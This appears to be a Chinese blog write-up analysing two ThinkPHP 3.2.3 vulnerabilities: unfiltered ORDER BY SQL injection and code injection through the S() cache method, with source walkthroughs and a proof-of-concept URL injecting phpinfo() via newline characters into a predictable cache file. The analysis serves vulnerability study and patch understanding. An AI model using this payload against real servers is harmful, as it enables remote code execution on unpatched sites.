protected $options          =   array();.......protected $methods          =   array('strict','order','alias','having','group','lock','distinct','auto','filter','validate','result','token','index','force');......public function __call($method,$args) {    if(in_array(strtolower($method),$this->methods,true)) {        // 连贯操作的实现        $this->options[strtolower($method)] =   $args[0];        return $this;    }elseif(in_array(strtolower($method),array('count','sum','min','max','avg'),true)){        // 统计查询的实现        $field =  isset($args[0])?$args[0]:'*';        return $this->getField(strtoupper($method).'('.$field.') AS tp_'.$method);.......

最终 order 语句将由给 parseOrder() 解析

    protected function parseOrder($order) {        if(is_array($order)) {            $array   =  array();            foreach ($order as $key=>$val){                if(is_numeric($key)) {                    $array[] =  $this->parseKey($val);                }else{                    $array[] =  $this->parseKey($key).' '.$val;                }            }            $order   =  implode(',',$array);        }        return !empty($order)?  ' ORDER BY '.$order:'';    }

parseOrder()的参数$order来自$options['order'],过程对$order没有任何过滤,可以任意注入

验证:

    public function index(){        $order = I('GET.order');        $User = M("user"); // 实例化User对象        $res = $User->order($order)->find();    }

image-20220123014054922

官方修复

ThinkPHP3.2.4主要采用了判断输入中是否有括号的方式过滤,在ThinkPHP3.2.5中则用正则表达式过滤特殊符号。另外该在ThinkPHP<=5.1.22版本也存在这样的漏洞,利用方式有一些不同

缓存漏洞

ThinkPHP 中提供了一个数据缓存的功能,对应S方法,可以先将一些数据保存在文件中,再次访问该数据时直接访问缓存文件即可

缓存文件示例

按照缓存初始化时候的参数进行缓存数据

public function test(){  	$name = I('GET.name');  	S('name',$name);}

下次在读取该值时通过缓存文件可以更快获取

public function cache(){  	$value = S('name');  	echo $value;}

先访问test(),生成缓存数据

image-20220123014835854

然后访问cache(),获取缓存数据

image-20220123014954943

上面就是缓存文件生成和使用的过程

代码分析

S方法:

function S($name,$value='',$options=null) {    static $cache   =   '';    if(is_array($options)){        // 缓存操作的同时初始化        $type       =   isset($options['type'])?$options['type']:'';        $cache      =   Think\Cache::getInstance($type,$options);    }elseif(is_array($name)) { // 缓存初始化        $type       =   isset($name['type'])?$name['type']:'';        $cache      =   Think\Cache::getInstance($type,$name);        return $cache;    }elseif(empty($cache)) { // 自动初始化        $cache      =   Think\Cache::getInstance();    }    if(''=== $value){ // 获取缓存        return $cache->get($name);    }elseif(is_null($value)) { // 删除缓存        return $cache->rm($name);    }else { // 缓存数据        if(is_array($options)) {            $expire     =   isset($options['expire'])?$options['expire']:NULL;        }else{            $expire     =   is_numeric($options)?$options:NULL;        }        return $cache->set($name, $value, $expire);    }}

介绍了S方法的一些功能,这里我们只关注写缓存的set()方法

先看file_put_contents(),就是这里写入了文件,我们需要控制其中的两个参数,文件名$filename, 写入数据$data

文件名$filename来自方法filename($name),其中$name可控,filename()是怎么操作的等下细看

写入数据$data来自$value处理后的数据,$value可控

$value先经过序列化,然后使用<?php\n//,?>包裹 $value 序列化后的值。注意这里使用了行注释符//,保证写入的数据不会被解析,但是我们可以通过换行符等手段轻松绕过。

image-20220123020013535

下面关注一下文件的命名方式,具体方法为filename()

C('DATA_CACHE_KEY')就是获取配置文件中 DATA_CACHE_KEY 的值,该值默认为空。该值为空时,$name最终的md5加密值也就清楚了

$this->options['prefix']默认为空,$this->options['temp']默认为Application/Runtime/Temp,如果在默认情况下,文件名,所在目录就很好控制了

image-20220123020317267

漏洞利用

POC:

http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index/test?name=%0d%0aphpinfo();%0d%0a//

image-20220123020602849

image-20220123020649783

小节:

因为ThinkPHP3的入口文件位于根目录下,和 application 等目录在同一目录一下,导致系统很多文件都可以访问,这里生成的缓存文件也是可以直接访问的,在TP5一些版本中也有这个漏洞,但是TP5的入口文件更加安全,这个漏洞并一定能利用。

参考

https://www.freebuf.com/vuls/282906.html

https://www.bilibili.com/video/BV1kk4y1q74o?p=2

https://www.kancloud.cn/manual/thinkphp

https://hu3sky.github.io/2019/09/20/Thinkphp3个版本数据库操作以及底层代码分析/

posted @ 2022-04-05 15:52  yokan  阅读(882)  评论(0编辑  收藏  举报